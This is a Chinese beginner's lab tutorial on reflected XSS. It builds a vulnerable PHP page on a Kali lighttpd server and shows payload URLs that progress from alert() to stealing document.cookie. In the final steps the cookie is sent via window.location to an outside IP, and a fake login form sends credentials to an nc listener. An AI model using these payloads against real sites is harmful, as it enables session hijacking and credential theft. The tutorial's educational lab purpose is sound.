XSS基础环境及实验演示教程(适合新手)
2023-5-24 16:23:22 Author: 安全info(查看原文) 阅读量:14 收藏

         欢迎各位提出问题和作者v一起交流:tomorrow_me-

Kali机器:192.168.2.108
Windows机器:192.168.2.105
为了中间实验过程方便,有时候会利用一台云服务器辅助,实验过程中出现为显示IP的地址或者不为以上两个IP时,均为云服务器。
任务 1. 重新同步包索引文件:

任务 2. 安装轻级和 PHP:
apt-get 安装 lighttpd php php-fpm php-cgi
安装 Lighttpd:
sudo apt-get install lighttpd

安装 PHP 和 FastCGI 进程管理器(php-fpm):
sudo apt-get install php-fpm

安装 PHP CGI 工具(php-cgi):
sudo apt-get install php-cgi

lighttpd配置文件:/etc/lighttpd/conf-available/
启用命令:
sudo lighttpd-enable-modfastcgi-php

最后,重启Lighttpd服务器以使更改生效:
sudo service lighttpd restart

任务 3. 重新加载 lighttpd 守护进程:
a)
service lighttpd force‑reload

任务 4. 从受害者的浏览器检查 Web 服务器是否正在运可访问的。
a) http:// 192.168.2.108

任务 1. 找到您的 lighttpd 络服务器的档根录:
a) lighttpd 络服务器的默认根录是什么?
/var/www/html/
任务 2. 创建一个新的 index.php 文件,这是一个欢迎用户名的简单 PHP 程序。用户名是使用 GET 方法获取的,如以下 PHP 模板所示:

a) 将 index.php 文件复制到文档根目录,然后从受害者的浏览器访问该文件。显示的是么词?

任务 3. 我们受攻击的 PHP 程序 (index.php) 需要通过 GET 请求的参数(名称)来欢迎用户。
a) 如下所示欢迎用户admin 的URL 是么?
http://192.168.2.108/index.php?username=admin

任务 1. 在受害者的浏览器中,是发送一个简单的字符作为名称参数,而是尝试发送在名称前添加“<h1>”HTML 标记。在 HTML 中,<h1> 标签用于标题,预期结果是一个大的名称。
实验结果如下图所示:

指明实现该目的的完整 URL。
http://192.168.2.108/index.php?username=<h1>admin</h1>
任务 2. 查看受害者浏览器中的源代码。
a) 生成的源代码是么?
如下图:

任务 3. 现在,我们将注入功能强大的 JavaScript 代码,而是注入基本的 HTML 标记。为确保我们的 JavaScript 代码在受害者的浏览器中运,我们将显示一条消息。为此,我们将使用 alert() JavaScript 函数。
a) 提供将在包含消息的 JavaScript 中执 alert() 的恶意 URL 如下图所示被黑客入侵:

url: http://192.168.2.108/index.php?username=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
任务 4. 查看受害者浏览器中的源代码。
a) 生成的源代码是么?

任务 1. 要模拟具有会话 ID 的 Web 服务器,我们可以在 Web 服务器中使用 setcookie PHP 函数。这可以通过将以下内容添加到 index.php 文件来完成:

 

任务 2.在将 sessionID 发送到远程服务器之前,个好的起点是在 JavaScript 中执⾏⼀些检查。使 document.cookie Javascript 属性:
(a)  创建个 URL,在受害者的浏览器中显 cookie 值。为此,请使 alert()

JavaScript 函数和 document.cookie JavaScript 属性。实现该标的 URL 是什么?
url为:http://192.168.2.108/index.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
任务 3.最后,我们要将 cookie 值泄露到远程服务器。
  1. a)  在您的 Kali 机器中,使 nc 具检索渗出数据。阅读⼿册以了解如何运 nc 以侦听端 80。指 nc 侦听端 80 的参数是哪些?

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
  1. b) 使上述可能的 JavaScript 代码之,通过替换“...”来泄露会话 ID,通过适当的 JavaScript 代码。
  2. 192.168.2.108/index.php?username=admin<script>window.location="http://81.68.2.42/cookie.php%3Fcookie="%2Bdocument.cookiei</script>
通过这个代码,可以获取用户的cookie,并且拿到cookie。
http://81.68.2.42/cookie.php是我部署的http服务,cookie.php如下:

它会将窃取的cookie写入当前路径的cookies.txt中;如:

任务 1. 在此任务中,您需要创建一个 URL 以利用 index.php 文件中的 XSS 漏洞。我们需要做的是创建一个伪造的 HTML 表单,向受害者询问用户名和密码。
当受害者按下提交按钮时,凭据将被发送到由攻击者控制的远程服务器。

 

指示 nc 监听端口 9090 的参数是么?
参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
允许您使用虚假表单窃取和泄(到您的 Kali 机器)受害者的用户名和密码的 URL 是么?
http://81.68.2.42:9090/login.php?username=admin&passowrd=123456

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2MTc0NTYyNg==&mid=2247484431&idx=1&sn=0bc8903e7cb05396bea19bff3af60737&chksm=ce133cbaf964b5ac42949eb97b55be579db61a4c53737f2ecbc74c6ef5c4cd5975dc4c26dcce#rd
如有侵权请联系:admin#unsafe.sh